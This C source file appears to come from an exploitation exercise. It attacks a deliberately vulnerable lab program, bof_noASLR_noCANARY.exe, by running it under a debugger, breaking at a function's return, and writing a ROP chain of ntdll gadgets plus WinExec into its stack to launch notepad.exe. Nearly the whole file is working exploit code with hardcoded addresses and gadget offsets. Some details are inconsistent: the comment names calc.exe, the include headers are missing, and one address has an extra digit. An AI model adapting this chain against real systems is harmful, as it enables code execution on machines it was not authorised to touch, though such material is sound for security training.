// Debugger-assisted ret2libc for bof_noASLR_noCANARY.exe (x86-64, DEP always on for x64). // // copy() does strcpy(buffer, argv[1]); a plain strcpy-delivered payload can carry // at most ONE 8-byte pointer (every usermode x64 address has a null top byte, and // strcpy stops at the first \0). We need 3 pointers (two ntdll gadgets + WinExec), // so instead we launch the target as our own debuggee, let the harmless placeholder // argv[1] overflow the saved return address as usual, then - right before the `ret` // in copy() executes - patch the stack ourselves via WriteProcessMemory, which has // no null-byte restriction at all. // // Stack layout written at BUF_ADDR (buffer's address, fixed since ASLR is off): // [0..7] "calc.exe" // [8] 0x00 // [56..63] &(pop rcx; ret) <- overwritten saved return address // [64..71] BUF_ADDR <- popped into RCX (&"calc.exe") // [72..79] &(pop rdx; pop r11; ret) // [80..87] 1 <- popped into RDX (SW_SHOWNORMAL) // [88..95] 0 <- popped into R11 (unused) // [96..103]&WinExec <- final ret target #include #include #include #define TARGET_EXE "bof_noASLR_noCANARY.exe" #define RET_INSN_ADDR ((LPVOID)(ULONG_PTR)0x000000014000729dULL) #define BUF_ADDR ((ULONG_PTR)0x0000000000014fe80ULL) #define RET_OFFSET 56 // RVAs inside ntdll.dll (constant across reboots; only ntdll's load base moves) #define POP_RCX_RET_RVA 0x1a853 #define POP_RDX_POP_R11_RET_RVA 0x8cc27 int main(void) { char placeholder[71]; memset(placeholder, 'A', 70); placeholder[70] = '\0'; char cmdline[256]; snprintf(cmdline, sizeof(cmdline), "%s %s", TARGET_EXE, placeholder); STARTUPINFOA si; PROCESS_INFORMATION pi; ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); ZeroMemory(&pi, sizeof(pi)); if (!CreateProcessA(NULL, cmdline, NULL, NULL, FALSE, DEBUG_ONLY_THIS_PROCESS, NULL, NULL, &si, &pi)) { printf("[-] CreateProcess failed: %lu\n", GetLastError()); return 1; } HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); HMODULE hK32 = GetModuleHandleA("kernel32.dll"); if (!hNtdll || !hK32) { printf("[-] failed to resolve module handles\n"); return 1; } ULONG_PTR ntdllBase = (ULONG_PTR)hNtdll; ULONG_PTR popRcxRet = ntdllBase + POP_RCX_RET_RVA; ULONG_PTR popRdxR11Ret = ntdllBase + POP_RDX_POP_R11_RET_RVA; ULONG_PTR winExec = (ULONG_PTR)GetProcAddress(hK32, "WinExec"); printf("[*] ntdll base: 0x%p\n", (void*)ntdllBase); printf("[*] pop rcx;ret: 0x%p\n", (void*)popRcxRet); printf("[*] pop rdx;r11;ret: 0x%p\n", (void*)popRdxR11Ret); printf("[*] WinExec: 0x%p\n", (void*)winExec); BYTE origByte = 0; SIZE_T bytesIO; BOOL patched = FALSE; DEBUG_EVENT dbg; while (WaitForDebugEvent(&dbg, INFINITE)) { DWORD contStatus = DBG_CONTINUE; if (dbg.dwDebugEventCode == CREATE_PROCESS_DEBUG_EVENT) { ReadProcessMemory(pi.hProcess, RET_INSN_ADDR, &origByte, 1, &bytesIO); BYTE int3 = 0xCC; WriteProcessMemory(pi.hProcess, RET_INSN_ADDR, &int3, 1, &bytesIO); FlushInstructionCache(pi.hProcess, RET_INSN_ADDR, 1); if (dbg.u.CreateProcessInfo.hFile) CloseHandle(dbg.u.CreateProcessInfo.hFile); } else if (dbg.dwDebugEventCode == EXCEPTION_DEBUG_EVENT) { EXCEPTION_RECORD *er = &dbg.u.Exception.ExceptionRecord; if (!patched && er->ExceptionCode == EXCEPTION_BREAKPOINT && er->ExceptionAddress == RET_INSN_ADDR) { patched = TRUE; printf("[+] hit breakpoint at copy()'s ret, patching stack...\n"); WriteProcessMemory(pi.hProcess, RET_INSN_ADDR, &origByte, 1, &bytesIO); FlushInstructionCache(pi.hProcess, RET_INSN_ADDR, 1); CONTEXT ctx; memset(&ctx, 0, sizeof(ctx)); ctx.ContextFlags = CONTEXT_ALL; GetThreadContext(pi.hThread, &ctx); ctx.Rip = (DWORD64)(ULONG_PTR)RET_INSN_ADDR; SetThreadContext(pi.hThread, &ctx); const char *cmd = "notepad.exe"; BYTE chain[104]; memset(chain, 0, sizeof(chain)); memcpy(chain, cmd, strlen(cmd) + 1); ULONG_PTR *p = (ULONG_PTR*)(chain + RET_OFFSET); p[0] = popRcxRet; p[1] = BUF_ADDR; p[2] = popRdxR11Ret; p[3] = 1; p[4] = 0; p[5] = winExec; WriteProcessMemory(pi.hProcess, (LPVOID)BUF_ADDR, chain, sizeof(chain), &bytesIO); FlushInstructionCache(pi.hProcess, (LPVOID)BUF_ADDR, sizeof(chain)); printf("[+] chain injected (%zu bytes written), resuming...\n", (size_t)bytesIO); ContinueDebugEvent(dbg.dwProcessId, dbg.dwThreadId, DBG_CONTINUE); continue; } } else if (dbg.dwDebugEventCode == EXIT_PROCESS_DEBUG_EVENT) { printf("[*] target exited, code=%lu\n", dbg.u.ExitProcess.dwExitCode); ContinueDebugEvent(dbg.dwProcessId, dbg.dwThreadId, DBG_CONTINUE); break; } ContinueDebugEvent(dbg.dwProcessId, dbg.dwThreadId, contStatus); } CloseHandle(pi.hProcess); CloseHandle(pi.hThread); Sleep(2000); // give WinExec's spawned child a moment to finish before we (and our job tree) exit return 0; }